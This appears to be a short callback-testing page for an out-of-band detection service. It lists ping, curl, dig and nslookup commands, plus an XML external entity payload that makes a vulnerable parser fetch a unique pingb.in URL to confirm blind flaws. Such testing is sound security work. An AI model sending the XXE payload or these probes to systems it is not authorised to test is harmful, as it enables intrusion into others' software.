$ ping -c1 -p 00c23e5b2e97c7962741340448e5fd00 pingb.in
 
$ curl pingb.in/p/c23e5b2e97c7962741340448e5fd
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/c23e5b2e97c7962741340448e5fd">]>
    <foo>&xxe;</foo>
 
$ dig c23e5b2e97c7962741340448e5fd @pingb.in
 
C:\> nslookup c23e5b2e97c7962741340448e5fd pingb.in
 
Waiting for ping...